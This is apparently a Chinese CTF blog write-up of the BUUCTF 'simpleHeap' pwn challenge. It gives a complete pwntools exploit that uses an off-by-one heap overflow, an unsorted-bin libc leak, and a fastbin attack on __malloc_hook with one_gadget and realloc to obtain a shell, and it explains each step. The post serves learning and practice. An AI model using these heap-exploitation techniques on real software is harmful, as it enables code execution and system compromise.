menu 牢记自己是菜
BUUCTF----[V&N2020 公开赛]simpleHeap
154 浏览 | 2020-11-29 | 阅读时间: 约 5 分钟 | 分类: BUUCTF | 标签:
请注意,本文编写于 59 天前,最后修改于 58 天前,其中某些信息可能已经过时。

0x1 前言

啊,本身不会有这篇文章的,我先将这篇文章写在了网安实验报告文章,写完之后以看其他的题目,感觉有点不太对劲,最后就决定把他单独的摘出来了。原因很简单,就是在这道题目中学到的东西真的太多了,觉得真的要好好的给他一个VIP博客位好嘛!
历时两天,终于完事了。pwn爷爷的入门堆题真是好题,做完之后我感觉我整个人都通气了!对堆的溢出有了一个大致的了解,真是一道好题。首先我们来罗列一下本题的知识点:

  1. off by one单字节溢出漏洞
  2. 通过溢出堆大小标志,完成对堆的指针重叠,unsorted bin的生成
  3. one_gadget制作rop链,realloc调整环境(第一次见!ROP链的题目做了这么多真的是第一次见,可能这就是头发长见识短吧)
  4. malloc_hook劫持程序流程
    我们本地来模拟一下整个exp编写的过程。

0x2 exp

所有的初学者一样,直接先放上exp,后面的所有步骤将围绕着我们的exp展开。由于BUU上的靶机libc与本地还是略有不同,导致网上的脚本在本地都是打不通的,具体的原因后面会提到,这里先不多说了。这里的exp是本地exp,所有调试都将在这里展开。

from pwn import*
def add(size,content):    #7
    p.sendlineafter('choice: ','1')
    p.sendlineafter('size?',str(size))
    p.sendafter('content:',content)

def edit(index,content):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('idx?',str(index))
    p.sendafter('content:',content)

def show(index):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('idx?',str(index))
def free(index):        #3
    p.sendlineafter('choice: ','4')
    p.sendlineafter('idx?',str(index))
p = process('./vn_pwn_simpleHeap')
#p = remote('node3.buuoj.cn',28733)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = 'debug'
add(0x28,'\n') #0
#gdb.attach(p)
add(0x68,'\n') #1
add(0x68,'\n') #2
add(0x20,'\n') #3
#gdb.attach(p)
payload = '\x00'*0x28 + '\xE1'
edit(0,payload)
free(1)
add(0x68,'\n') #1
show(2)
main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88
log.success('Main_Arena:\t' + hex(main_arena))
libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
malloc_hook = libcbase + libc.symbols['__malloc_hook']
log.success('Malloc_Hook:\t' + hex(malloc_hook))
realloc = libcbase + 0x8471C    #本地与远程区别主要在这里
one_gadget = libcbase + 0x4527A
log.success('realloc:\t' + hex(realloc))
log.success('one_gadget:\t' + hex(one_gadget))
add(0x60,'\n') #4 ->2
free(3)
free(2)
payload = p64(malloc_hook-0x23)+'\n'
edit(4,payload)
add(0x60,'\n')
add(0x60,'\x00'*(0x13-8) + p64(one_gadget)+p64(realloc)+'\n')
gdb.attach(p)
p.sendlineafter('choice: ','1')
p.sendlineafter('size?','32')
p.interactive()

0x3 程序分析

IDA进入程序分析,看完所有函数,只有在编辑函数中有一个off by one的漏洞,导致单字节堆溢出。于是我们来稍微的看一下是不是这样的,gdb打开程序,申请两个堆,观察内存空间。我们申请了两个0x20的堆块,size位是0x30+1我们通过修改的模块,发现确实可以完成一个字节的溢出。当然当我们申请的是0x18,0x28等大小时,就会导致前一个堆块的大小会与后一个堆块的size位相接,这时我们的一字节溢出就可以完美的覆盖。

尝试一次下,我们成功的覆盖掉了二号堆块的size。

add(0x28,'\n') #0
#gdb.attach(p)
add(0x68,'\n') #1
add(0x68,'\n') #2
add(0x20,'\n') #3
#gdb.attach(p)
payload = '\x00'*0x28 + '\xE1'
edit(0,payload)
free(1)

所以exp的这个地方,我们先申请4个堆,0号堆是用来堆1号堆size进行覆盖的,当1号堆size被恶意修改大之后,它会将2号堆的内存算入自己的堆中。此时再将1号堆释放,系统会误认为这个堆挺大的,然后将其加入unsorted bin。此时不光完成了1,2号堆的重叠,而且还将一个堆丢入了unsorted bin,为后续的libcbase泄露做准备。而3号堆的作用是将1,2号堆与Top Chunk分隔开,防止free之后直接将1号堆的空间丢入Top Chunk。
但是这与泄露libc有何关系呢,当unsorted bin里只有一个chunk时,该chunk的fd和bk指针均指向unsorted bin本身,而unsorted bin本身的地址与libc的基址之间的偏移是固定的,所以我们可以借此来泄露libc 基址。

add(0x68,'\n') #1
show(2)

此时我们在申请一个堆,大小刚刚好等于我们第一次申请的堆。此时系统就会看一看自己的内存空间,然后惊奇的发现它不需要使用Top Chunk中的空间,因为此时他有一个大小为0xE0的unsorted bin空间(前0x70是之前释放的一号堆,后0x70是伪造的空间,这段空间其实2号堆还在使用)。于是他将unsorted bin一份为二,第一份分给了新申请的堆块,后一部分则添上了chunk的fd和bk指针放在了假空闲块的头部。当然这个假的头部就是2号堆,于是只需要show就可以拿到main_arena+88的地址。如图所示:

main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88
log.success('Main_Arena:\t' + hex(main_arena))
libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
malloc_hook = libcbase + libc.symbols['__malloc_hook']
log.success('Malloc_Hook:\t' + hex(malloc_hook))
realloc = libcbase + 0x8471C    #本地与远程区别主要在这里
one_gadget = libcbase + 0x4527A
log.success('realloc:\t' + hex(realloc))
log.success('one_gadget:\t' + hex(one_gadget))

此时我们就相当于成功的拿到了libc的基址了,赶紧进行一波运算。不要看是简单的计算,其实知识点还是蛮多的。
首先是one_gadget,什么是one_gadget?在有 one_gadget 之前,我们一般都是通过常规 rop 的方式 getshell .有了它之后,知道 libc 偏移就能够通过它的地址一步 getshell。我们可以使用如下指令寻找one_gadget:

one_gadget /lib/x86_64-linux-gnu/libc-2.23.so


但是他需要具体的的使用条件,这个等会再说。然后就是malloc_hook,malloc_hook是malloc函数调用时的钩子函数。如果能够改变malloc_hook为system地址,并布置好其参数“/bin/sh0”,那么在调用free或者malloc函数,将会执行system("/bin/sh"),也就是说我们需要将我们刚才得到的one_gadget地址(rop链)想办法写入这个地方,我们就相当于劫持了malloc函数,当下一次调用的时候,就会触发反弹shell。
但是我们只能在内存空间里面进行读写,怎样才能将数据写入malloc_hook呢?想一下两个空间到底有哪里产生了联系,没错就是unsorted bin。
我们来看一下整个堆的组织形式:
这里其实是fast_bin_attack--------通过堆溢出来覆盖链中的指针,从而达到控制堆分配的分配的问题。

add(0x60,'\n') #4 ->2
free(3)
free(2)
payload = p64(malloc_hook-0x23)+'\n'
edit(4,payload)

此时我们malloc_hook-0x23地址覆盖到fb上,下一次在申请堆块的时候,他就会在malloc_hook-0x23生成。为啥是-0x23呢,因为一个堆块分配后,还会产生一个0x10的头部,我们要的是在编辑时,malloc_hook的内存空间在我们申请的假堆中才可以读写。

add(0x60,'\n')
add(0x60,'\x00'*(0x13-8) + p64(one_gadget)+p64(realloc)+'\n')

此时填入payload,(0x23-0x10)后才会到达malloc_hook。这里就要提一下realloc,在我们调用one_gadget当做rop链的时候,其实是有条件的。他要求一些寄存器里面的值必须为它所要求的数值,否则就会失败。比如:

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

此时要求在调one_gadget时,在[rsp+0x30]必须为NULL或者是0。那我们怎么保证在调用前,这个区域为零呢?不要忘了rsp是在栈上的,我们可以使用push指令增加栈的高度,当然也可以减少push指令来降低高度,直至[rsp+0x30]==NULL即可。可以完成这相关工作的函数就是realloc。
这里去问了鼎哥,偏移到底是怎么算为啥远程本地不一样。原因很简单,是因为使用的libc不一样,我们可以选择直接记忆不同libc下realloc的地址,当然也可以直接加载:

libc.symbols['__libc_realloc']

函数反编译代码:

这里有好多好多push,我们你只需要在调用malloc前停下来,来看看栈空间,然后先执行realloc,控制栈中数值即可。

这里讲一下函数的调用规则:存放one_gadget的地方其实是realloc_hook,而存放realloc的地方是malloc_hook。在调用malloc时会先执行malloc_hook中的realloc,但是realloc并没有执行完,在push操作后被realloc_hook了(只是工具函数,维持了栈,然后就被one_gadget打断)。--by 鼎哥
我们在malloc前停下来,查看后发现最近的空指针在0x30处,也就是6次push,所以我们需要少做六次push即可。也就是说realloc+12的代码开始执行即可。

最后调用程序:

p.sendlineafter('choice: ','1')
p.sendlineafter('size?','32')
p.interactive()

0x4 程序修复

对于整个程序的修复其实十分的简单,就是将off_by_one修掉就好了,不要让它多读一个字节就完事了。

这里附上修复条件判断常用的指令集:


0x5 后记

堆的题还是太灵活了,还是要多练。最后感谢PWN爷爷鼎哥的悉心指导。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!